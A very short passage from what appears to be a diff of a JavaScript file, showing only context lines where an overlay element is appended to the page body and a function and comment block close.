@ -93,7 +93,7 @@
document.body.appendChild(overlay);
}
})();
*/
/**